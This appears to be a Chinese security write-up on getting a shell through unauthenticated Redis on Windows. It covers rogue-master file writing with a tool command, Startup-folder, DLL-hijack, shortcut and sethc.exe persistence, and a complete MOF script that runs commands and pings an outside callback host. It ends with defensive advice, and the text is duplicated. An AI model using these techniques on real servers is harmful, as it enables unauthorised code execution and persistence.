踩坑记录-Redis(Windows)的getshell
字数 1661 2025-08-25 22:59:09

Windows环境下Redis未授权访问GetShell技术研究

0x00 背景概述

Redis在Windows环境下的未授权访问或弱口令漏洞利用与Linux环境有显著差异。Linux环境下常见的利用方式(如写入Webshell、计划任务、SSH公钥或主从RCE)在Windows环境中大多不适用,主要原因包括:

  1. Windows启动项和计划任务不以文本形式保存在固定位置
  2. Web目录路径获取困难
  3. Windows版Redis最新版本停留在3.2,无法利用主从RCE漏洞

0x01 无损文件写入技术

RedisWriteFile工具

该工具通过模拟Redis主从同步实现无损文件写入,避免携带脏数据。

使用方式

python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

要求

  • 目标Redis服务器能够回连攻击者服务器
  • 工具运行后会设置目标Redis为slave,同步数据并写入指定文件

0x02 GetShell技术路线

1. 理想情况:Webshell写入

条件

  • 目标机器运行Web服务
  • 已知Web绝对路径

利用方式:直接写入Webshell

2. 启动项利用

路径

C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

特点

  • 需要猜测或获取用户名
  • 需要Redis服务以高权限(如Administrator或SYSTEM)运行
  • 需要等待系统重启才能触发

错误情况

  • 目录不存在:写操作失败
  • 目录存在但无权限:写操作失败
  • 目录存在且有权限:写入成功

3. 文件篡改与劫持

(1) 系统DLL劫持

  • 需要目标重启或注销
  • 成功率较低

(2) 特定软件DLL劫持

  • 需要知道软件绝对路径
  • 需要用户点击触发

(3) 快捷方式覆盖

  • 需要知道用户名
  • 需要用户点击触发

(4) 配置文件覆盖提权

  • 目标无需点击或只需一次点击
  • 取决于具体软件

(5) sethc.exe粘滞键替换

  • 需要3389登录权限
  • 需要系统目录写入权限

注意事项

  • 系统目录操作需要Redis以SYSTEM权限运行或关闭UAC
  • Windows Vista及更高版本默认开启UAC限制

4. MOF文件利用(Windows Server 2003)

路径

C:/windows/system32/wbem/mof/nullevt.mof

特点

  • 默认每5秒执行一次监控
  • 仅Windows Server 2003及以下系统有效
  • 无需UAC绕过

示例MOF脚本

#pragma namespace(root\\subscription")
instance of __EventFilter as $EventFilter {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping sfas.g9bubn.ceye.io");
};

instance of __FilterToConsumerBinding {
    Consumer = $Consumer;
    Filter = $EventFilter;
};

执行结果

  • 成功执行:文件移至good目录
  • 执行失败:文件移至bad目录
  • 几秒内即可触发命令执行

0x03 技术总结

利用条件对比

技术路线 所需条件 触发方式 适用系统
Webshell Web路径已知 即时访问 所有版本
启动项 用户名已知+高权限 系统重启 所有版本
DLL劫持 路径已知 程序执行 所有版本
快捷方式 用户名已知 用户点击 所有版本
MOF 自动执行 Win2003

最佳实践建议

  1. 优先尝试

    • 常见用户名目录写入(Administrator、Guest等)
    • MOF文件写入(针对Win2003)
    • 系统目录写入尝试(检测权限级别)
  2. 被动等待型利用

    • 同时部署多种触发方式(启动项+快捷方式+DLL劫持)
    • 提高触发概率
  3. 权限检测

    • 尝试写入系统目录检测权限级别
    • 根据权限级别选择适当利用方式
  4. 新型探索

    • 关注Windows服务相关利用
    • 研究Redis Windows版潜在漏洞

0x04 工具与资源

  1. RedisWriteFile工具:下载链接
  2. MOF脚本模板:[参考上文示例]
  3. 常见Windows用户名列表:[应包含Administrator、Guest等常见账户]

0x05 防御建议

  1. 为Redis设置强密码认证
  2. 限制Redis服务运行账户权限
  3. 启用Windows防火墙限制Redis端口访问
  4. 定期检查系统启动项和计划任务
  5. 对系统关键目录设置适当ACL权限

:本文所述技术仅限安全研究使用,未经授权测试他人系统属违法行为。

Windows环境下Redis未授权访问GetShell技术研究 0x00 背景概述 Redis在Windows环境下的未授权访问或弱口令漏洞利用与Linux环境有显著差异。Linux环境下常见的利用方式(如写入Webshell、计划任务、SSH公钥或主从RCE)在Windows环境中大多不适用,主要原因包括: Windows启动项和计划任务不以文本形式保存在固定位置 Web目录路径获取困难 Windows版Redis最新版本停留在3.2,无法利用主从RCE漏洞 0x01 无损文件写入技术 RedisWriteFile工具 该工具通过模拟Redis主从同步实现无损文件写入,避免携带脏数据。 使用方式 : 要求 : 目标Redis服务器能够回连攻击者服务器 工具运行后会设置目标Redis为slave,同步数据并写入指定文件 0x02 GetShell技术路线 1. 理想情况:Webshell写入 条件 : 目标机器运行Web服务 已知Web绝对路径 利用方式 :直接写入Webshell 2. 启动项利用 路径 : 特点 : 需要猜测或获取用户名 需要Redis服务以高权限(如Administrator或SYSTEM)运行 需要等待系统重启才能触发 错误情况 : 目录不存在:写操作失败 目录存在但无权限:写操作失败 目录存在且有权限:写入成功 3. 文件篡改与劫持 (1) 系统DLL劫持 需要目标重启或注销 成功率较低 (2) 特定软件DLL劫持 需要知道软件绝对路径 需要用户点击触发 (3) 快捷方式覆盖 需要知道用户名 需要用户点击触发 (4) 配置文件覆盖提权 目标无需点击或只需一次点击 取决于具体软件 (5) sethc.exe粘滞键替换 需要3389登录权限 需要系统目录写入权限 注意事项 : 系统目录操作需要Redis以SYSTEM权限运行或关闭UAC Windows Vista及更高版本默认开启UAC限制 4. MOF文件利用(Windows Server 2003) 路径 : 特点 : 默认每5秒执行一次监控 仅Windows Server 2003及以下系统有效 无需UAC绕过 示例MOF脚本 : 执行结果 : 成功执行:文件移至good目录 执行失败:文件移至bad目录 几秒内即可触发命令执行 0x03 技术总结 利用条件对比 | 技术路线 | 所需条件 | 触发方式 | 适用系统 | |---------|---------|---------|---------| | Webshell | Web路径已知 | 即时访问 | 所有版本 | | 启动项 | 用户名已知+高权限 | 系统重启 | 所有版本 | | DLL劫持 | 路径已知 | 程序执行 | 所有版本 | | 快捷方式 | 用户名已知 | 用户点击 | 所有版本 | | MOF | 无 | 自动执行 | Win2003 | 最佳实践建议 优先尝试 : 常见用户名目录写入(Administrator、Guest等) MOF文件写入(针对Win2003) 系统目录写入尝试(检测权限级别) 被动等待型利用 : 同时部署多种触发方式(启动项+快捷方式+DLL劫持) 提高触发概率 权限检测 : 尝试写入系统目录检测权限级别 根据权限级别选择适当利用方式 新型探索 : 关注Windows服务相关利用 研究Redis Windows版潜在漏洞 0x04 工具与资源 RedisWriteFile工具: 下载链接 MOF脚本模板:[ 参考上文示例 ] 常见Windows用户名列表:[ 应包含Administrator、Guest等常见账户 ] 0x05 防御建议 为Redis设置强密码认证 限制Redis服务运行账户权限 启用Windows防火墙限制Redis端口访问 定期检查系统启动项和计划任务 对系统关键目录设置适当ACL权限 注 :本文所述技术仅限安全研究使用,未经授权测试他人系统属违法行为。